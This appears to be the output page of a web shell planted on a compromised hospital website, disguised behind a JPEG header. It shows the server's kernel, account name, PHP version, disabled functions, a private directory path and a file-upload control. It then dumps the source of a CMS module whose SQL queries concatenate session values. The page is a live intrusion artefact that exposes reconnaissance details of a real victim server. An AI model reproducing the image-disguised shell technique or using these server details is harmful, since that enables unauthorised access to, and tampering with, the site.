ÿØÿà JFIF ` ` ÿþ
Server : Apache/2 System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 User : benhviencoc7 ( 1008) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/benhviencoc7/domains/benhviendkkvcampha.vn/private_html/modules/ |
Upload File : |
<?php /*----------------------------------------*\ | Copyright © C-ILY | | Phone: 0983.998.994 | | Y!m: notepad.html | | Email: truongpv87@gmail.com | \*----------------------------------------*/ define('CILY',true); //*main.html END: Danh sách hiển thị danh mục ngoà i main.html*// $miHome_id = @mysql_query("SELECT cath.*, c.* FROM cily_cathome AS cath JOIN cily_cats AS c ON (cath.cath_id = c.id) WHERE cath.cath_type = '1' AND c.cat_lang = ".$_SESSION['lang']." ORDER BY cath.cath_order ASC"); while ($miHomeid = @mysql_fetch_array ($miHome_id)){ $lcathid = show_dequy($miHomeid['cath_id'],'2'); $miCHome_tin = @mysql_query("SELECT p.*, c.*, c.id AS cid, p.id AS pid FROM cily_posts AS p JOIN cily_cats AS c ON (p.post_cat = c.id) WHERE (p.post_cat IN (".$lcathid.")) AND c.cat_lang = ".$_SESSION['lang']." ORDER BY p.post_timeup DESC LIMIT 8"); $demnewcat = '1'; while ($item = @mysql_fetch_array ($miCHome_tin)){ if ($demnewcat == 1) { $w3c->assign( array( 'cid' => $item['cid'], 'pid' => $item['pid'], 'cat_ascii' => $item['cat_name_ascii'], 'cat_name' => $item['cat_name'], 'news_ascii' => $item['post_name_ascii'], 'news_quote' => catchuoi($item['post_quote'],60), 'news_time' => formatTime($item['post_time'],4), 'news_thumb' => $item['post_image'], 'news_name' => $item['post_name'], 'news_imgfull' => str_replace('thumbs-','',$item['post_image']), )); $w3c->parse('lNews_full'); //* {url}/bv/{cat_ascii}-c{cid}/{news_ascii}-p{pid} } else if ($demnewcat <= 4) { $w3c->assign( array( 'cid' => $item['cid'], 'pid' => $item['pid'], 'cat_ascii' => $item['cat_name_ascii'], 'cat_name' => $item['cat_name'], 'news_ascii' => $item['post_name_ascii'], 'news_quote' => catchuoi($item['post_quote'],60), 'news_time' => formatTime($item['post_time'],4), 'news_thumb' => $item['post_image'], 'news_name' => $item['post_name'], 'news_imgfull' => str_replace('thumbs-','',$item['post_image']), )); $w3c->parse('lNews_full1'); //* {url}/bv/{cat_ascii}-c{cid}/{news_ascii}-p{pid} } else if ($demnewcat > 4) { $w3c->assign( array( 'cid' => $item['cid'], 'pid' => $item['pid'], 'cat_ascii' => $item['cat_name_ascii'], 'cat_name' => $item['cat_name'], 'news_ascii' => $item['post_name_ascii'], 'news_quote' => catchuoi($item['post_quote'],60), 'news_time' => formatTime($item['post_time'],4), 'news_thumb' => $item['post_image'], 'news_name' => $item['post_name'], 'news_imgfull' => str_replace('thumbs-','',$item['post_image']), )); $w3c->parse('lNews_full2'); //* {url}/bv/{cat_ascii}-c{cid}/{news_ascii}-p{pid} } $demnewcat++; } $lnamecathome = @mysql_query("SELECT * FROM cily_cats WHERE id = ".$miHomeid['cath_id']." AND cat_home = 1"); while ($lnhome = @mysql_fetch_array ($lnamecathome)){ $lnamecathome1 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$lnhome['id']." AND cat_home = 1"); while ($lnhome1 = @mysql_fetch_array ($lnamecathome1)){ $w3c->assign( array( 'lnhome_id1' => $lnhome1['id'], 'lnhome_name1' => $lnhome1['cat_name'], 'lnhome_ascii' => $lnhome1['cat_name_ascii'], 'listone11' => $listone, )); $w3c->parse('lnamecathome1'); } $w3c->assign( array( 'lnhome_id' => $lnhome['id'], 'lnhome_name' => $lnhome['cat_name'], 'lnhome_info' => $lnhome['cat_info'], 'lnhome_ascii' => $lnhome['cat_name_ascii'], )); $w3c->parse('lnamecathome'); } $w3c->assign('demcat', $demcathome); $w3c->assign('cat_name', $miHomeid['cat_name']); $w3c->assign('lscat_image', $miHomeid['cat_img']); $w3c->assign('cat_info', $miHomeid['cat_info']); $w3c->parse('miCHome_tin'); } //*main.html END: Danh sách hiển thị danh mục ngoà i main.html*//